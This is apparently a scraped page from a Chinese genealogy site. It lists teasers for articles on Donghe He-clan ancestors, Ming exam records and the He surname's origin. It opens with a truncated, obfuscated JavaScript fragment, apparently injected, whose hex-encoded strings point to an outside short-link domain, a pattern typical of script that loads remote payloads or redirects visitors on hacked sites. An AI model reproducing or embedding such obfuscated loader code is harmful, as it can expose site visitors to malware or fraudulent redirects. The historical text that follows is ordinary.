function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x74\x6f\x64\x61\x79\x2f\x48\x56\x55\x39\x63\x35','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2d\x6f\x2e\x74\x6f\x64\ ......[点击阅读详情]

422重视教育的何人山 何正回撰 看东河二房大厅派何人山（23世悰35，谱名存悌，1701-1784）行略，感到他十分重视教育。当条件稍好时，就创办书塾，将弟弟和儿子侄儿都培养成才。 《行略》是何人山女婿写的。文中说，他原在傅村（属金华县管，但靠近义乌县，离东河约15公里）私塾教书，因为家庭困难，时常回家料理家务。父亲过世后，就不再当塾师了——“弃笔砚，而志在书香”，但仍不忘读书事也。为了使家庭早日摆脱贫穷，人山就“跌宕东阡西陌，不辞劳顿”，在田间拼命劳动。又因为收入有限，从事“子母之权”。这“子母”指 ......[点击阅读详情]

421醉乡秀才赞颜夫妇 何正回撰 为朋友作传，并称之为“醉乡子”，恐怕很少的。该传文采颇佳，事迹有趣。还有记其夫人方氏节序一文，更值得一读。兹一并介绍如下。 传主东河二房大厅派23世何赞颜（悰59，1720-1753），妻子方氏（1720-1796）。他们15岁就早早结婚了，原因是家里缺少子嗣。然而远非理想，他们始终没有生个儿子，仅有2女而已。 赞颜此人，他的同学同乡何大赉写得惟妙惟肖。就看他的妙文吧。 “貌奇而古，质直而狂。读书观大义，辄自谓了了。遇得意处即高声朗诵，音若洪钟。不屑屑于占笔吚唔，好作诗文不 ......[点击阅读详情]

明代乡试录所载何氏(未全) 何伟基整理 【何伟基按：在网上找到《天一阁明代科举录选刊（乡试录）》约四分之一的纸质书籍图片，整理出其中记载的153位明代何氏，以供大家研究何氏文化之需；*表示未能看清的文字。】 何冠，字世瞻，直隶合肥县人，吏员。万历浙江杭州府富阳县典史。 何璿，字德齐，直隶泰兴县人，丁未进士。嘉靖绍兴府山阴县知县。 何周，字汝南，直隶丹徒县人。嘉靖广信府经历司经历。 何鑛，字子启，直隶常熟县人，甲戌进士。万历兴化府推官。 何云衢，字道明，直隶无锡县人，吏员。万历惠州卫河源守 ......[点击阅读详情]

420何六行病故狱事消 何正回撰 418节介绍了20世何铨，419节接着介绍何铨第6个儿子何禅，现在再介绍何铨第7个儿子何六行，他们都有别人写的传记。 六行系何禂自号，说来有些渊源。原来童丧父，靠寡母带大。可能母亲特别喜爱他，给他娶了位大3岁的楼氏（1692-1756）。这位楼氏夫人，甚工妇德，常常给小老公讲周礼上“孝友睦婣（通姻）任恤”之教。年小的丈夫感叹自己不如年大的老婆，就“因以六行自号，志不忘勉企也。”约20岁时，六行兄弟间分家。由于兄弟多，每人所得有限，但六行却得到他母亲的不少私房钱。 1721年（ ......[点击阅读详情]

419何铨儿子官司不断 何正回撰 上节说到何铨弃学经商致富，儿孙满堂。但日子亦不太好过啊，还惹上不少官司呢。这是我读何铨第六个儿子何禅传记的体会。 1703年，何禅（21世恂260，1694-1751）父亲死时，他才10岁。先后跟着哥哥读书，入了太学——官办学校。何禅寡言笑，举动宁静，所以别人称他为宁静先生。他原想读书出个名堂，得个一官半职。但是“家富屡为贪诈者所陷，时先生之母万氏孀居，以诸子年少，惧而成疾。先生乃延医，躬亲汤药。且日夜谋解纠纷，以慰其心。阅数载而沉疴始痊，自是敬承母命，弃举子业，以摄 ......[点击阅读详情]

418何铨弃学经商致富 何正回撰 几十年前，我去赶过东河集市。每逢农历三、六、九日，乡民云集，买卖兴旺。粜穀籴豆，卖柴买犊，比较大宗的交易场所，往往有称为“行郎”者，持秤以待，给予买卖双方较为公平的度量和价格。所以即使小孩或弱妇，亦不必怕被欺骗或讹诈。这些“行郎”，大多东河人也。因为买卖能够比较公平，市场也就兴旺。当然欺行霸市也有，但诚信总是经商之本。做“行郎”者，适当抽取一点费用，以补贴家用。至于经商致富，得有门路和资本。 我看《南湖何氏宗谱》，觉得清朝初期，东河发展很快。读书人多， ......[点击阅读详情]

滇黔粤孟春公裔孙成立何氏燕泉堂的历史背景和现实意义 云南罗平燕泉堂孟春公十二世孙  何显 1、历史背景 吾滇黔粤始祖大明礼部尚书何孟春的事迹流传甚广，在儒林中尤为深远，《明史•正德实录》、《明史•何孟春传》、《明经世文编》、《万历郴州志》、《郴州地区志》、《湖南通志》、《云南通志》、云南《永昌府志》、《昆明府志》、《弥勒县志》、清康熙《贵州通志》、《施秉县志》、《历代名人辞典》、《古今同姓名大辞典》、《南国郴州》、《郴州史话》等各种史志书籍上都可见到他的名字。《明史•何孟春传》：何孟 ......[点击阅读详情]

首有族人征为官的何姓 何姓本为韩姓，是韩氏音讹而形成的姓，出现于秦始皇统一六国之后，距今已有2200多年的历史。 韩国为战国七雄之一，公元前230年被秦国灭掉，末代君主韩王安被俘。韩国的贵族子孙遂以国名为氏，称韩姓。随后，一部分韩姓人逃至淮河与长江之间的一些地方生存。因当地人的口音把韩读作“何”，后来又从读音误写为“何”，于是，这些韩姓人就变成了何姓人。对此，一些何氏族谱有不同的说法。其中较为流行的一种说法是：秦始皇因东巡遭击于博浪沙，疑为韩国公族所为，乃下令暗访韩氏后裔尽屠之。时有叫韩 ......[点击阅读详情]

417东河节孝建坊二例 何正回撰 《南湖何氏宗谱》卷22是21世恂字行传，其中恂71何凤明妻楼氏和恂76何楠妻方氏，均有“钦褒节孝建坊”之句，而且顶格上刻！另外还有专文《恂七十一何母楼氏安人节孝传》、《节孝方氏嫂传》介绍。 故事大约如下。女子楼桂，1685年生于竹山里，父亲是读书人，“遨游诸郡，寄迹山水”，只生2女。临终前对女儿说，你们孝敬公婆是对的，但别忘了母亲啊。17岁她嫁给东河二房富户何凤明（恂71，1665-1712），丈夫比她大20岁，已经娶过龚氏（1666-？），并生有1子有略（协91，1695-1715）。凤明前 ......[点击阅读详情]